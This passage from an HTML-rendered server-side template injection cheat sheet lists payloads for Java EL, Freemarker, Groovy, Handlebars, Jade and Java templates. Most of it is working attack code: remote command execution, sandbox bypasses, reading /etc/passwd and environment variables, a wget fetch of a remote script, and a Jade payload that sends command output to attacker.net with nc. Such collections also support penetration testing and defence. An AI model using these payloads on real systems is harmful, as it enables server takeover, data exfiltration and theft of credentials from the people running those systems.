<a id="__codelineno-9-13" name="__codelineno-9-13" href="#__codelineno-9-13"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">&quot;/k&quot;</span><span class="p">)}</span>
<a id="__codelineno-9-14" name="__codelineno-9-14" href="#__codelineno-9-14"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">&quot;ping x.x.x.x&quot;</span><span class="p">)}</span>
<a id="__codelineno-9-15" name="__codelineno-9-15" href="#__codelineno-9-15"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;a&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.ProcessBuilder&quot;</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">.</span><span class="na">newInstance</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">)).</span><span class="na">start</span><span class="p">())}</span>
<a id="__codelineno-9-16" name="__codelineno-9-16" href="#__codelineno-9-16"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;a&quot;</span><span class="p">)}</span>
<a id="__codelineno-9-17" name="__codelineno-9-17" href="#__codelineno-9-17"></a>
<a id="__codelineno-9-18" name="__codelineno-9-18" href="#__codelineno-9-18"></a><span class="c1">// Method using Reflection &amp; Invoke</span>
<a id="__codelineno-9-19" name="__codelineno-9-19" href="#__codelineno-9-19"></a><span class="n">$</span><span class="p">{</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.Runtime&quot;</span><span class="p">).</span><span class="na">getMethods</span><span class="p">()</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.Runtime&quot;</span><span class="p">)).</span><span class="na">exec</span><span class="p">(</span><span class="s">&quot;calc.exe&quot;</span><span class="p">)}</span>
<a id="__codelineno-9-20" name="__codelineno-9-20" href="#__codelineno-9-20"></a><span class="n">$</span><span class="p">{</span><span class="err">&#39;&#39;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">).</span><span class="na">getMethods</span><span class="p">()</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="err">&#39;&#39;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">)).</span><span class="na">exec</span><span class="p">(</span><span class="err">&#39;</span><span class="n">whoami</span><span class="err">&#39;</span><span class="p">)}</span>
<a id="__codelineno-9-21" name="__codelineno-9-21" href="#__codelineno-9-21"></a>
<a id="__codelineno-9-22" name="__codelineno-9-22" href="#__codelineno-9-22"></a><span class="c1">// Method using ScriptEngineManager one-liner</span>
<a id="__codelineno-9-23" name="__codelineno-9-23" href="#__codelineno-9-23"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;javax.script.ScriptEngineManager&quot;</span><span class="p">).</span><span class="na">newInstance</span><span class="p">().</span><span class="na">getEngineByName</span><span class="p">(</span><span class="s">&quot;js&quot;</span><span class="p">).</span><span class="na">eval</span><span class="p">(</span><span class="s">&quot;java.lang.Runtime.getRuntime().exec(\\\&quot;ping x.x.x.x\\\&quot;)&quot;</span><span class="p">))}</span>
<a id="__codelineno-9-24" name="__codelineno-9-24" href="#__codelineno-9-24"></a>
<a id="__codelineno-9-25" name="__codelineno-9-25" href="#__codelineno-9-25"></a><span class="c1">// Method using JavaClass</span>
<a id="__codelineno-9-26" name="__codelineno-9-26" href="#__codelineno-9-26"></a><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="err">&#39;</span><span class="n">whoami</span><span class="err">&#39;</span><span class="p">).</span><span class="na">x</span>
<a id="__codelineno-9-27" name="__codelineno-9-27" href="#__codelineno-9-27"></a>
<a id="__codelineno-9-28" name="__codelineno-9-28" href="#__codelineno-9-28"></a><span class="c1">// Method using ScriptEngineManager</span>
<a id="__codelineno-9-29" name="__codelineno-9-29" href="#__codelineno-9-29"></a><span class="n">$</span><span class="p">{</span><span class="n">facesContext</span><span class="p">.</span><span class="na">getExternalContext</span><span class="p">().</span><span class="na">setResponseHeader</span><span class="p">(</span><span class="s">&quot;output&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;javax.script.ScriptEngineManager&quot;</span><span class="p">).</span><span class="na">newInstance</span><span class="p">().</span><span class="na">getEngineByName</span><span class="p">(</span><span class="s">&quot;JavaScript&quot;</span><span class="p">).</span><span class="na">eval</span><span class="p">(</span><span class="err">\</span><span class="s">&quot;var x=new java.lang.ProcessBuilder;x.command(\\\&quot;wget\\\&quot;,\\\&quot;http://x.x.x.x/1.sh\\\&quot;);org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\&quot;))}</span>
</code></pre></div>
<hr />
<h2 id="freemarker">Freemarker</h2>
<p><a href="https://freemarker.apache.org/">Official website</a></p>
<blockquote>
<p>Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data. </p>
</blockquote>
<p>You can try your payloads at <a href="https://try.freemarker.apache.org">https://try.freemarker.apache.org</a></p>
<h3 id="freemarker-basic-injection">Freemarker - Basic injection</h3>
<p>The template can be :</p>
<ul>
<li>Default: <code>${3*3}</code> </li>
<li>Legacy: <code>#{3*3}</code></li>
<li>Alternative: <code>[=3*3]</code> since <a href="https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html">FreeMarker 2.3.4</a></li>
</ul>
<h3 id="freemarker-read-file">Freemarker - Read File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="nx">$</span><span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">getClass</span><span class="p">().</span><span class="nx">getProtectionDomain</span><span class="p">().</span><span class="nx">getCodeSource</span><span class="p">().</span><span class="nx">getLocation</span><span class="p">().</span><span class="nx">toURI</span><span class="p">().</span><span class="nx">resolve</span><span class="p">(</span><span class="s1">&#39;path_to_the_file&#39;</span><span class="p">).</span><span class="nx">toURL</span><span class="p">().</span><span class="nx">openStream</span><span class="p">().</span><span class="nx">readAllBytes</span><span class="p">()</span><span class="o">?</span><span class="nx">join</span><span class="p">(</span><span class="s2">&quot; &quot;</span><span class="p">)}</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="nx">Convert</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">returned</span><span class="w"> </span><span class="nx">bytes</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">ASCII</span>
</code></pre></div>
<h3 id="freemarker-code-execution">Freemarker - Code execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="o">&lt;</span><span class="err">#</span><span class="nx">assign</span><span class="w"> </span><span class="nx">ex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()</span><span class="o">&gt;</span><span class="nx">$</span><span class="p">{</span><span class="w"> </span><span class="nx">ex</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="p">[</span><span class="err">#</span><span class="nx">assign</span><span class="w"> </span><span class="nx">ex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;freemarker.template.utility.Execute&#39;</span><span class="o">?</span><span class="ow">new</span><span class="p">()]</span><span class="nx">$</span><span class="p">{</span><span class="w"> </span><span class="nx">ex</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)}</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="nx">$</span><span class="p">{</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="err">#</span><span class="p">{</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="p">[</span><span class="o">=</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">&quot;id&quot;</span><span class="p">)]</span>
</code></pre></div>
<h3 id="freemarker-sandbox-bypass">Freemarker - Sandbox bypass</h3>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/svg/26a0.svg" title=":warning:" /> only works on Freemarker versions below 2.3.30</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="o">&lt;</span><span class="err">#</span><span class="nx">assign</span><span class="w"> </span><span class="nx">classloader</span><span class="o">=</span><span class="nx">article</span><span class="p">.</span><span class="kd">class</span><span class="p">.</span><span class="nx">protectionDomain</span><span class="p">.</span><span class="nx">classLoader</span><span class="o">&gt;</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="o">&lt;</span><span class="err">#</span><span class="nx">assign</span><span class="w"> </span><span class="nx">owc</span><span class="o">=</span><span class="nx">classloader</span><span class="p">.</span><span class="nx">loadClass</span><span class="p">(</span><span class="s2">&quot;freemarker.template.ObjectWrapper&quot;</span><span class="p">)</span><span class="o">&gt;</span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="o">&lt;</span><span class="err">#</span><span class="nx">assign</span><span class="w"> </span><span class="nx">dwf</span><span class="o">=</span><span class="nx">owc</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">&quot;DEFAULT_WRAPPER&quot;</span><span class="p">).</span><span class="nx">get</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span><span class="o">&gt;</span>
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="o">&lt;</span><span class="err">#</span><span class="nx">assign</span><span class="w"> </span><span class="nx">ec</span><span class="o">=</span><span class="nx">classloader</span><span class="p">.</span><span class="nx">loadClass</span><span class="p">(</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="p">)</span><span class="o">&gt;</span>
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="nx">$</span><span class="p">{</span><span class="nx">dwf</span><span class="p">.</span><span class="nx">newInstance</span><span class="p">(</span><span class="nx">ec</span><span class="p">,</span><span class="kc">null</span><span class="p">)(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
</code></pre></div>
<hr />
<h2 id="groovy">Groovy</h2>
<p><a href="https://groovy-lang.org/">Official website</a></p>
<h3 id="groovy-basic-injection">Groovy - Basic injection</h3>
<p>Refer to https://groovy-lang.org/syntax.html , but <code>${9*9}</code> is the basic injection.</p>
<h3 id="groovy-read-and-create-file">Groovy - Read and create File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">$</span><span class="o">{</span><span class="n">String</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s1">&#39;c:/windows/notepad.exe&#39;</span><span class="o">).</span><span class="na">text</span><span class="o">}</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">$</span><span class="o">{</span><span class="n">String</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s1">&#39;/path/to/file&#39;</span><span class="o">).</span><span class="na">getText</span><span class="o">(</span><span class="s1">&#39;UTF-8&#39;</span><span class="o">)}</span>
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s2">&quot;C:\Temp\FileName.txt&quot;</span><span class="o">).</span><span class="na">createNewFile</span><span class="o">();}</span>
</code></pre></div>
<h3 id="groovy-http-request">Groovy - HTTP request:</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">$</span><span class="o">{</span><span class="s2">&quot;http://www.google.com&quot;</span><span class="o">.</span><span class="na">toURL</span><span class="o">().</span><span class="na">text</span><span class="o">}</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">URL</span><span class="o">(</span><span class="s2">&quot;http://www.google.com&quot;</span><span class="o">).</span><span class="na">getText</span><span class="o">()}</span>
</code></pre></div>
<h3 id="groovy-command-execution">Groovy - Command Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">$</span><span class="o">{</span><span class="s2">&quot;calc.exe&quot;</span><span class="o">.</span><span class="na">exec</span><span class="o">()}</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="n">$</span><span class="o">{</span><span class="s2">&quot;calc.exe&quot;</span><span class="o">.</span><span class="na">execute</span><span class="o">()}</span>
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="n">$</span><span class="o">{</span><span class="k">this</span><span class="o">.</span><span class="na">evaluate</span><span class="o">(</span><span class="s2">&quot;9*9&quot;</span><span class="o">)</span><span class="w"> </span><span class="c1">//(this is a Script class)}</span>
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">org</span><span class="o">.</span><span class="na">codehaus</span><span class="o">.</span><span class="na">groovy</span><span class="o">.</span><span class="na">runtime</span><span class="o">.</span><span class="na">MethodClosure</span><span class="o">(</span><span class="s2">&quot;calc.exe&quot;</span><span class="o">,</span><span class="s2">&quot;execute&quot;</span><span class="o">).</span><span class="na">call</span><span class="o">()}</span>
</code></pre></div>
<h3 id="groovy-sandbox-bypass">Groovy - Sandbox Bypass</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">$</span><span class="o">{</span><span class="w"> </span><span class="nd">@ASTTest</span><span class="o">(</span><span class="n">value</span><span class="o">={</span><span class="k">assert</span><span class="w"> </span><span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="s2">&quot;whoami&quot;</span><span class="o">)})</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="kt">def</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">}</span>
</code></pre></div>
<p>or</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">$</span><span class="o">{</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">groovy</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">GroovyClassLoader</span><span class="o">().</span><span class="na">parseClass</span><span class="o">(</span><span class="s2">&quot;@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;)})def x&quot;</span><span class="o">)</span><span class="w"> </span><span class="o">}</span>
</code></pre></div>
<hr />
<h2 id="handlebars">Handlebars</h2>
<p><a href="https://handlebarsjs.com/">Official website</a></p>
<blockquote>
<p>Handlebars compiles templates into JavaScript functions.</p>
</blockquote>
<h3 id="handlebars-command-execution">Handlebars - Command Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="cp">{{</span><span class="m m-Attribute">#with</span> <span class="s2">&quot;s&quot;</span> <span class="nv">as</span> <span class="err">|</span><span class="nv">string</span><span class="err">|</span><span class="cp">}}</span>
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">#with</span> <span class="s2">&quot;e&quot;</span><span class="cp">}}</span>
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">#with</span> <span class="nv">split</span> <span class="nv">as</span> <span class="err">|</span><span class="nv">conslist</span><span class="err">|</span><span class="cp">}}</span>
<a id="__codelineno-18-4" name="__codelineno-18-4" href="#__codelineno-18-4"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this.pop</span><span class="cp">}}</span>
<a id="__codelineno-18-5" name="__codelineno-18-5" href="#__codelineno-18-5"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this.push</span> <span class="nv">(lookup</span> <span class="nv">string.sub</span> <span class="s2">&quot;constructor&quot;</span><span class="nv">)</span><span class="cp">}}</span>
<a id="__codelineno-18-6" name="__codelineno-18-6" href="#__codelineno-18-6"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this.pop</span><span class="cp">}}</span>
<a id="__codelineno-18-7" name="__codelineno-18-7" href="#__codelineno-18-7"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">#with</span> <span class="nv">string.split</span> <span class="nv">as</span> <span class="err">|</span><span class="nv">codelist</span><span class="err">|</span><span class="cp">}}</span>
<a id="__codelineno-18-8" name="__codelineno-18-8" href="#__codelineno-18-8"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this.pop</span><span class="cp">}}</span>
<a id="__codelineno-18-9" name="__codelineno-18-9" href="#__codelineno-18-9"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this.push</span> <span class="s2">&quot;return require(&#39;child_process&#39;).execSync(&#39;ls -la&#39;);&quot;</span><span class="cp">}}</span>
<a id="__codelineno-18-10" name="__codelineno-18-10" href="#__codelineno-18-10"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this.pop</span><span class="cp">}}</span>
<a id="__codelineno-18-11" name="__codelineno-18-11" href="#__codelineno-18-11"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">#each</span> <span class="nv">conslist</span><span class="cp">}}</span>
<a id="__codelineno-18-12" name="__codelineno-18-12" href="#__codelineno-18-12"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">#with</span> <span class="nv">(string.sub.apply</span> <span class="m">0</span> <span class="nv">codelist)</span><span class="cp">}}</span>
<a id="__codelineno-18-13" name="__codelineno-18-13" href="#__codelineno-18-13"></a><span class="x"> </span><span class="cp">{{</span><span class="nv">this</span><span class="cp">}}</span>
<a id="__codelineno-18-14" name="__codelineno-18-14" href="#__codelineno-18-14"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">/with</span><span class="cp">}}</span>
<a id="__codelineno-18-15" name="__codelineno-18-15" href="#__codelineno-18-15"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">/each</span><span class="cp">}}</span>
<a id="__codelineno-18-16" name="__codelineno-18-16" href="#__codelineno-18-16"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">/with</span><span class="cp">}}</span>
<a id="__codelineno-18-17" name="__codelineno-18-17" href="#__codelineno-18-17"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">/with</span><span class="cp">}}</span>
<a id="__codelineno-18-18" name="__codelineno-18-18" href="#__codelineno-18-18"></a><span class="x"> </span><span class="cp">{{</span><span class="m m-Attribute">/with</span><span class="cp">}}</span>
<a id="__codelineno-18-19" name="__codelineno-18-19" href="#__codelineno-18-19"></a><span class="cp">{{</span><span class="m m-Attribute">/with</span><span class="cp">}}</span>
</code></pre></div>
<hr />
<h2 id="jade-codepen">Jade / Codepen</h2>
<p><a href="https://codepen.io/">Official website</a></p>
<blockquote></blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="o">-</span> <span class="n">var</span> <span class="n">x</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">process</span>
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="o">-</span> <span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">mainModule</span><span class="o">.</span><span class="n">require</span>
<a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a><span class="o">-</span> <span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="p">(</span><span class="s1">&#39;child_process&#39;</span><span class="p">)</span>
<a id="__codelineno-19-4" name="__codelineno-19-4" href="#__codelineno-19-4"></a><span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">exec</span><span class="p">(</span><span class="s1">&#39;id | nc attacker.net 80&#39;</span><span class="p">)</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="err">#</span><span class="p">{</span><span class="nx">root</span><span class="p">.</span><span class="nx">process</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="s1">&#39;child_process&#39;</span><span class="p">).</span><span class="nx">spawnSync</span><span class="p">(</span><span class="s1">&#39;cat&#39;</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="s1">&#39;/etc/passwd&#39;</span><span class="p">]).</span><span class="nx">stdout</span><span class="p">}</span>
</code></pre></div>
<hr />
<h2 id="java">Java</h2>
<h3 id="java-basic-injection">Java - Basic injection</h3>
<blockquote>
<p>Multiple variable expressions can be used, if <code>${...}</code> doesn't work try <code>#{...}</code>, <code>*{...}</code>, <code>@{...}</code> or <code>~{...}</code>.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">$</span><span class="p">{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}</span>
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="n">$</span><span class="p">{{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}}</span>
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getClassLoader</span><span class="p">()}</span>
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getResource</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">).</span><span class="na">getPath</span><span class="p">()}</span>
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getResource</span><span class="p">(</span><span class="s">&quot;../../../../../index.htm&quot;</span><span class="p">).</span><span class="na">getContent</span><span class="p">()}</span>
</code></pre></div>
<h3 id="java-retrieve-the-systems-environment-variables">Java - Retrieve the systems environment variables</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">System</span><span class="p">).</span><span class="na">getenv</span><span class="p">()}</span>
</code></pre></div>
<h3 id="java-retrieve-etcpasswd">Java - Retrieve /etc/passwd</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="err">&#39;</span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="err">&#39;</span><span class="p">)}</span>
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a>
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">org</span><span class="p">.</span><span class="na">apache</span><span class="p">.</span><span class="na">commons</span><span class="p">.</span><span class="na">io</span><span class="p">.</span><span class="na">IOUtils</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">99</span><span class="p">).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">97</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">116</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">32</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">47</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">101</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">116</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">99</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">47</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">112</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span 